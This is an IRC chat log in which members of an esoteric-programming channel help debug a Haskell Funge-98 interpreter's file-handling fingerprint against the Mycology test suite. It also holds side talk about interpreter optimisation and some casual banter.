22:28:28 -!- Vonlebio has quit (Remote host closed the connection).
22:28:40 <elliott> Deewiant: O KAY
22:28:47 <Deewiant> E.g. mycology.b98
22:28:54 <elliott> Deewiant: But I don't support cmdline arguments yet :-D
22:28:54 <Deewiant> Also I'm not sure you have the fingerprint it needs (can't remember which)
22:29:03 <Deewiant> elliott: Well fix that
22:29:04 <elliott> FIXP.
22:29:09 <Deewiant> Right
22:29:15 <elliott> Deewiant: Cool, my FILE never frees its file values.
22:29:19 <Deewiant> Sweet
22:29:22 <elliott> Don't try and O more than some 2 billion times, kids.
22:29:28 <elliott> Somehow I'm not overly worried :-P
22:30:05 <Deewiant> elliott, fizzie: Done with the temporary fileserver? :-P
22:30:12 <elliott> Deewiant: NO
22:30:23 <elliott> I need to find all your secrets first
22:30:27 -!- zzo38 has quit (Remote host closed the connection).
22:30:29 <elliott> tquine.bf.
22:30:31 <elliott> Er, "wow".
22:30:31 <Deewiant> There's no favicon.ico, no point in looking
22:30:41 <elliott> All your secrets are in favicon.ico?
22:30:50 <Deewiant> No, you just made 6 requests to it in a row
22:30:54 <elliott> X-D
22:30:57 <elliott> Blame my browser.
22:31:03 <Deewiant> Meanwhile fizzie mirrors everything that's there
22:31:05 <fizzie> Deewiant: wget -r'd, now I'm done.
22:31:07 <elliott> I'm saving fibo_posting, for analysis of "Crazy Finnish People".
22:31:09 <elliott> Deewiant: Ooh, let me do the same.
22:31:15 <Deewiant> fibo_posting is online, as said
22:31:20 <Deewiant> That's why I didn't bother hiding it :-P
22:31:28 <elliott> But what if wherever it is disappears?
22:31:34 <Deewiant> Then I have it, at least
22:31:36 <Deewiant> That's why I have it :-D
22:31:42 <elliott> Deewiant: But what if you turn all SECRETIVE.
22:31:56 <elliott> MYSTERIES OF THE AGES: What, exactly, does the [t] BBCode tag do?! NOBODY KNOWS
22:31:57 <Deewiant> Then nothing of value is lost
22:32:05 <elliott> Deewiant: That's exactly what a secretive Finn would say.
22:32:15 <elliott> Okay, Googling it worked :-P
22:32:25 <elliott> Now I have uncovered the secrets of the Finns.
22:32:37 <elliott> Unfortunately, as nobody can understand Finnish, this is for naught.
22:32:43 <Deewiant> Congrats, you now know what Google has known for years.
22:32:50 <elliott> I know!
22:32:58 <elliott> Google is in league with the Finns.
22:33:06 <Deewiant> They even employ Finns!
22:33:12 <elliott> LIKE NAZIS
22:33:32 -!- Sgeo_ has joined.
22:35:21 <elliott> Deewiant: Turns out hClose isn't "actually" "closing the file", anyway
22:35:40 <Deewiant> Yes, that's what it would imply
22:36:07 <elliott> Deewiant: #haskell make half-arsed comments about lazy IO, so I'm blaming GHC for now.
22:36:20 <elliott> Sought to beginning of file with 00S.
22:36:20 <elliott> "Sought"
22:36:21 <elliott> :D
22:36:38 <Deewiant> Dude, it's the simple past of seek
22:36:45 <elliott> Deewiant: But of course.
22:37:04 <fizzie> Seekeded.
22:37:18 <fizzie> Skedaddled to beginning of file with 00S.
22:37:37 <elliott> Deewiant: Bug report: Should say ^
22:38:12 <Deewiant> WONTFIX: length "skedaddled" /= length "sought"
22:38:30 <elliott> Deewiant: Skddld.
22:38:43 <Deewiant> WONTFIX: "skddld" is unclear
22:38:52 <elliott> Maybe if you can't read.
22:42:00 -!- hagb4rd has quit (Ping timeout: 240 seconds).
22:51:05 -!- FireFly has quit (Quit: swatted to death).
22:51:19 <elliott> Deewiant: Pretty sure this is a GHC bug of some description.
22:51:39 <Deewiant> Quite possible
22:51:49 <elliott> BAD: O reflected leaving the stack untouched (or pushed an 'm' for no reason)
22:51:50 <elliott> This still makes absolutely no sense.
22:51:50 <Deewiant> You can grab the Fd and close that
22:51:56 <Deewiant> And see if that helps
22:52:02 <elliott> Deewiant: Might do.
22:52:08 <elliott> Would like to solve that O thing first though.
22:52:09 <elliott> OHWAIT
22:52:13 <elliott> filename <- pop0gnirtsAsString
22:52:13 <elliott> mode <- pop
22:52:13 <elliott> buffer <- popVecOffset
22:52:15 <elliott> Spotte bugge
22:52:24 <elliott> Wait, no bug.
22:52:25 <Deewiant> Can't remember
22:52:27 <elliott> That's absolutely correct.
22:52:30 <elliott> (Va m 0gnirts -- h)
22:52:31 <olsner> ye olde bugge
22:52:31 <Deewiant> Could've been wrong order
22:52:51 <elliott> This has to be a mycology bug
22:53:06 -!- oerjan has quit (Quit: Good night).
22:53:22 <Deewiant> That, of course, is quite impossible
22:54:03 <ais523> is it /very/ impossible?
22:54:03 <elliott> Deewiant: I don't see how it can't be Mycology's bug
22:54:17 <fizzie> Yes; Mycology is, by definition, correct.
22:54:25 <Deewiant> Then delve into the source and find out where the bug is :-P
22:55:28 <Sgeo_> Grah
22:55:39 <Sgeo_> LibreOffice Base sucks major dick
22:55:51 <olsner> one does not simply delve into ...
22:57:06 -!- impomatic has quit (Quit: ChatZilla 0.9.86 [Firefox 3.5.16/20101130074636]).
22:58:54 <elliott> olsner: Into... dick?
22:59:28 <Deewiant> If you just called Mycology a dick I may have to be offended
22:59:29 <Gregor> In Soviet Russia ...
23:00:17 <elliott> In Soviet Russia, dick.
23:00:22 <Sgeo_> I am a heterosexual male. Therefore, by what Gregor said, I do not live in Russia
23:00:37 <Gregor> *Soviet Russia
23:00:54 <elliott> Heterosexual, suuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuure
23:01:01 <elliott> Mr. "<Sgeo_> [...] sucks major dick"
23:04:51 <elliott> [[Computation hClose hdl makes handle hdl closed. Before the computation finishes, if hdl is writable its buffer is flushed as for hFlush. Performing hClose on a handle that has already been closed has no effect; doing so is not an error. All other operations on a closed handle will fail. If hClose fails for any reason, any further operations (apart from hClose) on the handle will still fail as if hdl had been successfully closed.]]
23:04:57 <elliott> Deewiant: i like how it avoids explicitly saying that the fd gets closed
23:04:59 <elliott> probably because it doesn't
23:05:15 <elliott> *sigh*
23:05:44 <Sgeo_> That sounds mildly demented
23:05:58 <elliott> What?
23:06:08 <Sgeo_> hClose doesn't actually close it?
23:06:16 <elliott> Oh dear god revenantphx never shuts up in #haskell. Give me a chance to interject about how terrible hClose is, you 12-year-old >_>
23:06:22 <elliott> Sgeo_: Well, not for me at least.
23:08:29 <elliott> [[fdToHandle :: Fd -> IO HandleSource
23:08:30 <elliott> Converts an Fd into a Handle that can be used with the standard Haskell IO library (see System.IO).
23:08:30 <elliott> GHC only: this function has the side effect of putting the Fd into non-blocking mode (O_NONBLOCK) due to the way the standard IO library implements multithreaded I/O.]]
23:08:36 <elliott> At that note: >_<
23:08:55 <fizzie> It is supposed to "actually close" the handle (there's all those warnings about doing a lazy hGetContents and consuming from it after a hClose) but admittedly it doesn't say about the Fd.
23:09:30 -!- ais523 has quit (Remote host closed the connection).
23:09:53 <elliott> fizzie: I didn't know you even knew any Haskell. :p
23:09:59 <elliott> After all you used C++.
23:10:06 <elliott> I didn't think one person could manage that kind of... cognitive dissonance.
23:10:11 <Sgeo_> elliott, I wrote C++ code yet I understand some Haskell
23:10:11 <elliott> "I know Haskell... think I'll write a C++ program..."
23:10:13 <Deewiant> I don't think he's said anything about knowing Haskell
23:10:30 <Sgeo_> Then again, it's not like I voluntarily write mounds of C++ code
23:10:33 <elliott> Deewiant: Oh, is it just a Finn thing to learn tons of trivia about subjects you don't actually know in an applied manner? :D
23:10:39 <elliott> Or s/learn/Google/ I suppose.
23:10:55 <Deewiant> What trivia? His last line just referred to what you pasted
23:10:57 <olsner> google, then talk like an expert, it's a useful skill
23:11:25 <elliott> "there's all those warnings about doing a lazy hGetContents and consuming from it after a hClose"
23:11:36 <elliott> Nothing I said involved that.
23:11:39 <Deewiant> Oh, that wasn't in your paste
23:11:42 <elliott> olsner: I do that all the time. SO DOES DEEWIANT</troll>
23:11:42 <Deewiant> Well, it's in the docs anyway
23:12:02 <olsner> elliott: sure, but who cares what Deewiant does?
23:12:06 <elliott> Deewiant
23:12:07 <fizzie> Contrary to the prior, it was in fact from memory, not contemporary Google. I've been... dabbling.
23:12:07 <elliott> Presumably
23:12:23 <olsner> I don't care what I do, so why would he?
23:12:24 <elliott> fizzie: But you're not quite ready to come out of the closet, so to speak.
23:12:32 <elliott> Functional-curious.
23:12:53 <elliott> Sweet, C fails without any kind of IO error.
23:13:02 <elliott> I hypothesise that a wizard done it.
23:13:17 <olsner> if you didn't even get an error, how do you know that it failed?
23:13:23 <elliott> because Infallocology says so
23:13:57 <Deewiant> C worked, it's the subsequent O that fails.
23:14:04 <Deewiant> From Infallocology's POV.
23:14:43 <elliott> Deewiant: Mmnope, I have a different error now.
23:14:57 <elliott> ("***",mycotemp.tmp: hSeek: illegal operation (handle is closed))
23:14:57 <elliott> BAD: 20S reflected
23:14:57 <elliott> GOOD: C worked
23:15:00 <elliott> Deewiant: My errors are now non-deterministic.
23:15:07 <Deewiant> Great
23:15:27 <Deewiant> Maybe the fd's actually closed at the next GC or something
23:15:33 <elliott> Theory
23:15:35 <Deewiant> You could force a GC?
23:15:36 <elliott> handle <- io $ openBinaryFile filename (ioMode mode)
23:15:36 <elliott> when (mode == 4) . io $ hSetFileSize handle 0
23:15:36 <elliott> when (mode == 5) . io $ hSeek handle SeekFromEnd 0
23:15:41 <elliott> One of the non-openBinaryFile things is failing here
23:15:44 <elliott> And leaving the file open
23:15:52 <elliott> Problem: There's no reason whatsoever that should happen.
23:16:09 * elliott compiles without -O2
23:16:14 <elliott> Feels like I'm coding in C
23:16:15 <Sgeo_> io?
23:16:22 <elliott> Sgeo_: liftIO, but shorter.
23:16:29 <Deewiant> Inverse of oi
23:16:32 <Sgeo_> Ah
23:17:03 <elliott> Deewiant: Only if you're using TV.
23:17:34 <elliott> Sought to beginning of file with 00S.
23:17:34 <elliott> GOOD: G pushed correct line length
23:17:34 <elliott> GOOD: G read 'foo\n'
23:17:34 <elliott> GOOD: 7R read bar\nbaz
23:17:34 <elliott> BAD: C failed
23:17:44 <elliott> Deewiant: There's no debug output, so there was no IO error.
23:17:51 <elliott> Define "failed". Reflected?
23:18:01 <Deewiant> How else could it fail
23:18:30 <elliott> Deewiant: Then, er, you gave me an invalid file reference. That's the only other way this could reflect.
23:18:45 <Deewiant> Yeah, but, see, that can't happen because there are no bugs
23:20:04 <elliott> Deewiant: I _really_ think this is a Mycology bug here.
23:20:19 <elliott> GOOD: closed file with C
23:20:20 <elliott> GOOD: reopened file in append+read mode
23:20:20 <elliott> Sought to beginning of file with 00S.
23:20:20 <elliott> GOOD: G pushed correct line length
23:20:20 <elliott> GOOD: G read 'foo\n'
23:20:20 <elliott> GOOD: 7R read bar\nbaz
23:20:22 <elliott> BAD: C failed
23:20:24 <elliott> No IO errors.
23:20:29 <elliott> Still--
23:20:34 <elliott> BAD: O reflected leaving the stack untouched (or pushed an 'm' for no reason)
23:20:39 <elliott> That is also a Mycology bug :P
23:21:35 <fizzie> It's very curious how other interps don't trip these hypothetical bugs. :p
23:21:56 <olsner> they must have counterbugs
23:22:05 <elliott> fizzie: fpRun ident O = do
23:22:06 <elliott> filename <- pop0gnirtsAsString
23:22:06 <elliott> mode <- pop
23:22:06 <elliott> buffer <- popVecOffset
23:22:06 <elliott> if mode < 0 || mode > 5 then reflect else do
23:22:06 <elliott> handle <- io $ openBinaryFile filename (ioMode mode)
23:22:08 <Deewiant> It's the simplest explanation!
23:22:11 <elliott> It can *only* reflect after popping everything it pops.
23:22:29 <elliott> I can see absolutely no way modulo e.g. pixie intervention that this is not Mycology's or GHC's bug.
23:22:34 -!- variable has quit (Ping timeout: 260 seconds).
23:22:37 <Deewiant> elliott: The error message can be a bug, you know.
23:22:45 <elliott> Deewiant: My Funge core is perfect, dude. :p
23:22:53 <Deewiant> I mean, in Mycology.
23:23:17 <Deewiant> If you trip a strange-and-untested error case it might print something BAD which is not quite appropriate
23:23:40 <elliott> Deewiant: Maybe I'll trace every instruction execution.
23:23:43 <elliott> That sounds reasonable.
23:25:24 -!- variable has joined.
23:26:01 <elliott> Deewiant: Wow, this debug build is quite the party.
23:26:14 <elliott> How big IS your stack
23:27:18 <Deewiant> ?
23:28:25 <elliott> Deewiant: My tracing build of Shiro :P
23:28:31 <elliott> Mycology's stack gets rather big.
23:28:40 <Deewiant> Not really
23:28:50 <Deewiant> At most a few thousand, when it does 0y
23:28:55 <elliott> "At most a few thousand" :-D
23:29:06 <Deewiant> elliott: slowdown.b98 on mycology goes into the millions IIRC
23:29:12 <elliott> Do you not test -1y?
23:29:16 <Deewiant> And fungicide goes much higher
23:29:55 <Deewiant> And no, I probably don't
23:31:33 <elliott> FIXP looks like a bit of a pain.
23:31:39 <elliott> "Trigonometric functions work in degrees. not radians." Fail
23:32:26 <elliott> http://www.haskell.org/ghc/docs/6.12.3/html/libraries/base-4.2.0.2/Data-Fixed.html This might help...
23:32:50 <elliott> Though I'm not sure what the appropriate resolution would be, especially since technically I could swap out Value at any time.
23:32:59 <Deewiant> Unfortunately sin and co are defined for Floating only
23:33:10 <elliott> Deewiant: Gah!
23:33:20 <Deewiant> Unless you can find them elsewhere
23:33:29 <elliott> "MissingH 0.8.0 is available from:
23:33:29 <elliott> gopher://gopher.quux.org/1/devel/missingh
23:33:29 <elliott> or
23:33:29 <elliott> http://gopher.quux.org:70/devel/missingh" --Mailing list post, 2004
23:33:32 * elliott makes note: John Goerzen -- nutcase.
23:33:56 <elliott> Deewiant: http://hackage.haskell.org/package/fixed-precision Yaaaay?
23:34:11 <elliott> Tentative-DING tentative-DING tentative-DING tentative-NEW tentative-DEPENDENCY tentative-
23:34:12 <elliott> Tentative-DING tentative-DING tentative-DING tentative-NEW tentative-DEPENDENCY tentative-.
23:34:19 <elliott> Wait, MPFR?
23:34:20 <elliott> Oh gawd.
23:34:34 <Deewiant> SPEED
23:34:46 <elliott> SPEEEEEEEEEEEEEEEEED
23:40:05 <elliott> Deewiant: Got a slowdown.b98 that doesn't require FIXP? :-P
23:40:14 <elliott> Or just anything with similar performance characteristics.
23:40:29 <Deewiant> If you want to see your thing go slow, use fungicide
23:41:08 <elliott> Deewiant: I would but it looks like it has all kinds of dependencies to run it.
23:41:14 <elliott> I just want to give my interp a file and watch it crawl. :p
23:41:38 <quintopia> elliott: you need to make sure to include an optimizer :D
23:41:38 <Deewiant> You don't need to "run" fungicide, just use any one of the benchmarks.
23:41:51 <elliott> Deewiant: Link me to the one derived from slowdown :-P
23:42:04 <Deewiant> There is none
23:42:21 <quintopia> something that takes any long straight sequence of whitespace moves and converts them into a direct jump...or would that break intentional timing constructs?
23:42:38 <elliott> Deewiant: None with similar performance? i.e. relying on the same sort of wrapping stuff?
23:42:45 <elliott> quintopia: whitespace takes 0 ticks
23:42:46 <Deewiant> Nope
23:42:54 <elliott> Deewiant: Lame
23:43:10 <quintopia> elliott: already? nice. how'd you do it?
23:43:18 <Deewiant> elliott: slowdown.b98 doesn't rely on wrapping stuff anyway
23:43:18 <elliott> quintopia: Umm, that's just how Funge-98 is defined.
23:43:23 <elliott> Deewiant: You said it does in logs.
23:43:26 <elliott> quintopia: 0 ticks != instant
23:43:27 <Deewiant> No I did not
23:43:29 <elliott> 0 ticks = 0 Funge-98 ticks
23:43:32 -!- augur has joined.
23:43:37 <elliott> Deewiant: If you don't shrink bounds you end up traversing $lots of cells.
23:43:38 <Deewiant> Mycology wraps, and is clever enough to reset the storage offset
23:43:39 <elliott> Where lots = 2^something big.
23:43:52 <Deewiant> So it ends up writing stuff to (0,0)
23:44:02 <Deewiant> And that tends to cause trouble for interps with only one bounding rectangle for all of space
23:44:04 <quintopia> elliott: oh, so yeah, that optimization thing. you can do it, right?
23:44:11 <Deewiant> Since the code is at (millions,millions)
23:44:14 <elliott> quintopia: No.
23:44:18 <elliott> For a start, that would break timing.
23:44:22 <quintopia> (not at load time, just by caching paths that are actually used)
23:44:24 <elliott> For another, it would break alignment of code.
23:44:29 <elliott> For another, Funge-98 is self-modifying.
23:44:30 -!- augur has quit (Remote host closed the connection).
23:44:30 <elliott> For another, ...
23:44:36 <elliott> It would never, ever work.
23:45:05 <quintopia> 1) why would it break timing? 2) no 3) cache invalidation
23:45:06 <Deewiant> elliott: For "most programs", slowdown.b98 causes no troublesome wrapping
23:45:23 <elliott> Deewiant: What was the pathological case, then.
23:45:29 <elliott> quintopia: Because optimisations change the amount of ticks things take.
23:45:33 <elliott> 2) Yes, it would.
23:45:38 <elliott> 3) Are you sure you know what you're talking about>
23:45:40 <elliott> *about?
23:45:52 <quintopia> you just said whitespace takes 0 ticks!
23:45:57 <Deewiant> elliott: The case I recall where I used that term was CCBI's wrapping with a delta on the order of INT_MAX or something
23:46:00 <quintopia> do you know what you're talking about?
23:46:06 <Deewiant> And I can't actually remember whether that was the pathological case
23:46:07 <elliott> quintopia: Yep.
23:46:40 <elliott> Deewiant: Heh, technically my interpreter is all kinds of broken according to the report. It relies on Value being smaller-or-equal-to Int, and Int only has to store up to 2^29.
23:46:48 <elliott> Thankfully it almost certainly stores 2^64.
23:46:55 <elliott> Or 2^32, which is equal.
23:47:06 <elliott> So INT_MAX scares me a bit.
23:47:24 <Deewiant> You'll never run into that case
23:47:43 <quintopia> elliott: i'm saying that any time a program *actually* crosses a long whitespace path, you can add that path to a cache and the next time that path comes up, just skip straight from the beginning to the end in O(1) without actually doing the looping on IP positions. If a p happens on that path, toss it from the cache.
23:48:02 <elliott> You can do that just by storing per-line-and-column bounds.
23:48:03 <quintopia> p
23:48:06 <elliott> But you can't do that for every delta.
23:48:17 <elliott> And I doubt many lines are traversed to the point of wrapping over and over.
23:48:19 <elliott> That's pathological.
23:48:21 <quintopia> i should think you'd be able to do it for any delta
23:48:33 <elliott> Write an interp that does it then
23:48:37 <quintopia> the cache invalidation thing would be hard there tho
23:48:46 <elliott> You have 0.003 seconds on Mycology to beat I think.
23:48:53 <elliott> Although Deewiant's said cfunge has dropped below 0.001 before IIRC.
23:49:29 <quintopia> does mycology do lots of tight (but space-inefficient) loops?
23:49:52 <elliott> No, nothing does.
23:50:01 <elliott> Tight, yes, space-inefficient, no.
23:50:23 <Deewiant> What's "space-inefficient" in this case
23:50:36 <elliott> Wrapping, I think.
23:51:06 <Deewiant> Yeah, I don't think even Mycology has a tight loop with a wrap in the middle
23:51:30 <elliott> That would be hideously awkward :)
23:51:43 <quintopia> space-inefficient would be something like fungot's ^reload path
23:51:44 <fungot> quintopia: and why shouldn't they in scheme? and of what nature?
23:51:47 -!- BeholdMyGlory has quit (Remote host closed the connection).
23:52:45 <elliott> How's it inefficient
23:53:11 -!- cheater00 has joined.
23:53:34 <quintopia> but yeah, i think i could make the cache thing work for arbitrary deltas with only an O(programsize) increase in memory usage. whitespace paths of any length would be crossed instantly and cache invalidation would be O(1)
23:53:56 <elliott> Good luck with that
23:53:59 <elliott> Let us know when it passes Mycology
23:54:16 <quintopia> eh, this is why i suggested it to you because you're actually working on an implementation
23:54:18 <Deewiant> Sounds a bit like jitfunge but only optimizing useless stuff
23:54:41 <elliott> quintopia: Except that if I was going to optimise that, I'd do it the way Deewiant does by using multiple bounding boxes.
23:54:46 <elliott> That also doesn't require reworking half of everything :P
23:55:16 <quintopia> not sure exactly how the multiple bounding boxes thing works :P
23:55:25 <Deewiant> Nobody is!
23:55:32 <quintopia> mine optimizes stuff that doesn't wrap/cross boundaries too though
23:55:39 <elliott> Yours wouldn't work :P
23:55:50 <quintopia> you still haven't told me why though
23:56:31 <quintopia> i might try to hack it into your impl when you're done and i've learned haskell
23:56:34 <elliott> It would "work" in the sense that theoretically you can do it.
23:56:36 -!- cheater- has quit (Ping timeout: 240 seconds).
23:56:42 <elliott> But the overhead of all the IMMENSE pain mutating the code like that would cause,
23:56:43 <Sgeo_> Hail Chydrego!
23:56:49 <elliott> plus the fact that it optimises only things that basically never happens.
23:56:50 <elliott> *happens,
23:56:58 <elliott> would mean that the great overhead for little gain would destroy performance.
23:57:34 <quintopia> possibly. there's not as much overhead as you think i bet, but i'd be willing to try it and find out
23:58:26 <elliott> http://tpdsaa.tumblr.com/
2011-02-10
00:00:56 -!- iconmaster has joined.
00:01:23 -!- iconmaster has quit (Client Quit).
00:01:38 <elliott> Anyone wanna take a look at my file code? :P
00:02:31 <elliott> O KAY, if I make O just reflect after popping it _works_.
00:04:02 <elliott> "we gon boogie"
00:04:02 <elliott> ("***",mycotemp.tmp: openBinaryFile: does not exist (No such file or directory))
00:04:02 <elliott> BAD: O reflected leaving the stack untouched (or pushed an 'm' for no reason)
00:04:02 <elliott> hmm
00:04:11 <elliott> so it *does* fail in the right place
00:04:13 <elliott> after popping everything
00:04:21 <elliott> yet ...
00:04:26 <elliott> it can't be reflecting in the same way
00:04:28 <elliott> since when i do that
00:04:31 <elliott> it goes totally differently
00:05:34 <elliott> Testing fingerprint FILE... loaded.
00:05:34 <elliott> ("***",mycotemp.tmp: openBinaryFile: does not exist (No such file or directory))
00:05:34 <elliott> BAD: O reflected leaving the stack untouched (or pushed an 'm' for no reason)
00:05:35 <elliott> wtffffff
00:05:56 <elliott> This is ... breaking every rule of logic
00:06:05 <fizzie> jitfunge-style tracing/caching of instructions (into linear-in-memory basic blocks) might be a win in some cases even without the jit (just think of it as icache in a cpu), since the instruction fspace-fetches take quite a lot of time.
00:06:15 <elliott> Deewiant: That error message better be SUPER misleading... but even if it is...
00:06:19 <elliott> there is absolutely no way this is happening.
00:06:30 <elliott> If I make it reflect it works. If it reflects, it doesn't work.
00:06:31 <elliott> >_<
00:06:52 <fizzie> Implementing that is a bit ugly though, there's all kinds of cases to take care of when the fungespace changes.
00:07:14 <fizzie> So Deewiant's bounding-boxes may be better.
00:07:41 <elliott> fizzie: How is jitfunge doing btw? Any work?
00:07:44 <fizzie> Deewiant: Do you do something like keep a pointer of the "current" box for an IP?
00:08:06 <fizzie> Nothing new there, but maybe all this fungetalk will inspire me.
00:08:19 <Deewiant> fizzie: Yes
00:08:22 <quintopia> fizzie: i was just thinking of storing a pointer to the path-cache in each whitespace cell that gets crossed. it means a little extra work the first time the path is crossed, but invalidating on p commands is instantaneous. it could be a flag you can turn on and off when you think it'll help
00:08:47 <elliott> Wrapping is rare.
00:09:44 <fizzie> Wrapping paths might possible need to be all recomputed if the boundaries change.
00:09:51 <elliott> THIS CODE MAKES NO FUCKING SENSE
00:10:01 <elliott> You're totally losing me here, Haskell.
00:10:12 <elliott> Losing me with your what-the-fuck.
00:10:20 <elliott> OK. Maybe I have a bug in catchShiro.
00:10:29 <elliott> catchShiro :: (Exception e) => Shiro a -> (e -> Shiro a) -> Shiro a
00:10:29 <elliott> catchShiro action handler =
00:10:29 <elliott> StateT $ \s -> runStateT action s `catch` (\e -> runStateT (handler e) s)
00:10:33 <elliott> ...Looks fine to me...
00:10:37 <elliott> Aha.
00:10:43 <elliott> Except that I think it might fail to... nope...
00:10:49 <fizzie> Whitespace-skipping sounds like a rather limited win compared to instruction-fetches. At least assuming reasonable code densities. :p
00:11:00 <elliott> ...nope, I'm pretty sure that's perfect. Deewiant? Any bugs obvious to you? :p
00:11:20 <quintopia> fizzie: what you mean by instruction fetching?
00:11:28 <Deewiant> Creating a StateT manually looks dubious but beats me
00:11:47 <quintopia> like pipelining/preloading instruction?
00:11:49 <fizzie> The thing where you do a fungespace lookup for the next instruction.
00:11:54 <quintopia> hmm
00:11:58 <quintopia> yeah
00:12:04 <quintopia> that's not a bad idea too
00:12:16 <Deewiant> That is by far the relevant thing to optimize.
00:12:28 <quintopia> and you can do it the same way
00:12:33 <elliott> Deewiant: You wrote that code IIRC.
00:12:35 <elliott> :t StateT
00:12:36 <lambdabot> forall s (m :: * -> *) a. (s -> m (a, s)) -> StateT s m a
00:12:47 <elliott> Aha.
00:12:50 <Deewiant> elliott: You R wrong
00:12:51 <elliott> Possibly e's type is wrong there.
00:13:04 <Deewiant> elliott: e :: SomeException should catch everything
00:13:06 <fizzie> A proper instruction cache is trickier, though; for ;-jumps you need to invalidate things when a ; is put in the middle and so on.
00:13:10 <quintopia> just cache the next instructions, and undo them if they turn out not to be the right ones ... basically how branch prediction works in processors
00:13:11 <elliott> Deewiant: Right. Which I don't want.
00:13:14 <elliott> I only want to catch IOException.
00:13:26 <Deewiant> If you have Prelude.catch it'll catch only that
00:13:31 <Deewiant> Otherwise, type it explicitly
00:13:40 <elliott> Right. I'll just inline catchShiro into doIns.
00:14:49 <Deewiant> I'll sleep -->
00:14:52 -!- augur has joined.
00:14:57 <elliott> BAD: O reflected leaving the stack untouched (or pushed an 'm' for no reason)
00:15:02 <elliott> Same. Damn. Problem.
00:15:25 <elliott> fizzie: Can you look at this block of code? I seriously just need someone to tell me how stupid I am for missing this obvious bug.
00:15:33 <elliott> Because I CAN'T SEE IT >_<
00:15:42 <elliott> Anyone? Laugh at elliott?
00:15:45 <elliott> Unmissable chance?
00:15:52 <elliott> Once-in-a... ok, not once in a lifetime, I'm laughable-at regularly.
00:17:40 <elliott> http://sprunge.us/iHdM if anyone wants to laugh at me.
00:23:05 <Sgeo_> Browser's being slow
00:23:12 <Sgeo_> I do want to laugh at you though
00:23:15 -!- Mathnerd314 has quit (Ping timeout: 276 seconds).
00:24:48 <Sgeo_> WBE BETTER IF I KNEW WHAT IT WAS SUPPOSED TO DOargh packs lock
00:25:40 <elliott> Sgeo_: Laughing yet?
00:25:55 * Sgeo_ NEEDS HOOGLE
00:26:01 <Sgeo_> And for capslock to die
00:27:02 <Sgeo_> I assume parents arond the mode < 0 and the mode > 5 won't help, if precedence were weird it wouldn't typecheck?
00:27:11 <elliott> Indeed
00:27:19 <elliott> But
00:27:24 <elliott> Even then I think both should reflect at the same point.
00:27:29 <elliott> So it doesn't matter.
00:28:37 <Sgeo_> I'm about to have access to hoogle
00:29:05 <elliott> Sgeo_: you already do
00:29:07 <elliott> @hoogle a
00:29:07 <lambdabot> Data.Graph.Inductive.Example a :: Gr Char ()
00:29:07 <lambdabot> Data.Graph.Inductive.Example a' :: IO (SGr Char ())
00:29:07 <lambdabot> Data.Graph.Inductive.Example ab :: Gr Char ()
00:29:15 <Sgeo_> @hoogle ioMode
00:29:15 <lambdabot> System.IO data IOMode
00:29:27 <Sgeo_> That's... especially useful
00:29:28 <elliott> From my module.
00:29:34 <elliott> ioMode :: Value -> IOMode
00:29:34 <elliott> ioMode v =
00:29:34 <elliott> case v of
00:29:34 <elliott> 0 -> ReadMode
00:29:34 <elliott> 1 -> WriteMode
00:29:35 <elliott> 2 -> AppendMode
00:29:36 <elliott> _ -> ReadWriteMode
00:29:39 <elliott> But it's totally irrelevant.
00:29:42 <Sgeo_> Oh
00:29:45 <elliott> I have checked -- beyond doubt, by tracing the error -- that openBinaryFile fails.
00:29:51 <elliott> And that nothing after it executes.
00:29:58 <elliott> And my exception handler reflects on failure.
00:30:03 <elliott> I see no possible way the two code snippets could differ in behaviour.
00:30:26 <Sgeo_> Two code snippets?
00:30:51 <Sgeo_> Oh
00:32:26 <Sgeo_> So O isn't supposed to read?
00:32:30 -!- poiuy_qwert has joined.
00:32:55 <Sgeo_> n/m
00:33:43 <elliott> Sgeo_: ...
00:33:44 <elliott> >_<
00:33:51 <Sgeo_> ?
00:35:03 <Sgeo_> @hoogle openBinaryFile
00:35:03 <lambdabot> System.IO openBinaryFile :: FilePath -> IOMode -> IO Handle
00:35:20 <Sgeo_> @hoogle liftIO
00:35:20 <lambdabot> Control.Monad.Trans liftIO :: MonadIO m => IO a -> m a
00:35:40 <elliott> copumpkin: http://sprunge.us/iHdM ;_; haskell sucks because this doesn't make sense
00:35:47 <elliott> (my tried and trusted support mechanism)
00:36:02 <Sgeo_> It's not an indentation issue, right?
00:36:11 <Sgeo_> It ... looks right to my eyes
00:36:35 <elliott> Not indentation, nope.
00:37:21 <Sgeo_> Try openBinaryFile in GHCi with arguments that would be given to it by whatever?
00:37:31 <Sgeo_> Deewiant's thing
00:38:11 <elliott> Sgeo_: What?
00:38:15 <elliott> Mycology.
00:38:21 <elliott> Sgeo_: As I said, _I have logged that openBinaryFile fails_.
00:38:32 <elliott> I have added to the exception handler a print statement and it prints out the correct error from openBinaryFile.
00:38:40 <elliott> As that line runs, the next one, which reflects the IP, runs too.
00:38:45 <elliott> Therefore the code should be identical.
00:39:06 <Sgeo_> And it's not? what happens?
00:39:30 <elliott> Sgeo_: What?
00:39:36 <elliott> As I said, I have no idea what happens.
00:40:12 <Sgeo_> You're saying that openBinaryFile errors and should result in a reflect. It's not doing that, if I understand you correctly. What is it doing?
00:41:31 <elliott> Sgeo_: No fucking clue.
00:41:38 <elliott> It reflects, but something goes wrong with the stack.
00:42:09 <Sgeo_> So it might be an error in your error-handling code?
00:42:15 <Sgeo_> Instead of here/
00:42:31 <elliott> StateT $ \s -> runStateT (coreIns . chr . fromIntegral $ i) s
00:42:31 <elliott> `catch` \(_::IOException) -> runStateT reflect s
00:42:33 <elliott> "Spot the bug".
00:43:46 <Sgeo_> Is push supposed to alter the stack?
00:44:10 <Sgeo_> Why would openBinaryFile being replaced by reflect stop the rest of the code from executing?
00:44:16 <Sgeo_> This may be a dumb question, of course
00:44:31 <elliott> Sgeo_: because it's an exception
00:44:38 <elliott> Sgeo_: and, i've already print-debugged that it does
00:44:39 <elliott> so that isn't in question
00:45:20 <Sgeo_> What's coreIns?
00:46:04 <elliott> Sgeo_: the core instruction evaluator
00:48:10 <elliott> AHA
00:48:11 <elliott> AHA
00:48:12 <elliott> AHA
00:48:12 <elliott> AHA
00:48:13 <elliott> AHA
00:48:16 <elliott> Got it.
00:48:26 <elliott> ...ouch that's a nasty bug
00:48:34 <Sgeo_> elliott, what was it?
00:48:53 <elliott> Sgeo_: the state would be part of the state returned by the first runStateT, but since it errors out, we never get that state
00:48:58 <elliott> and reflect based on the _previous_ state
00:49:00 <elliott> so all the popping is lost
00:49:07 <elliott> this means that my error handling is totes broken
00:49:30 <Sgeo_> I was right about something?
00:49:32 <Sgeo_> =P
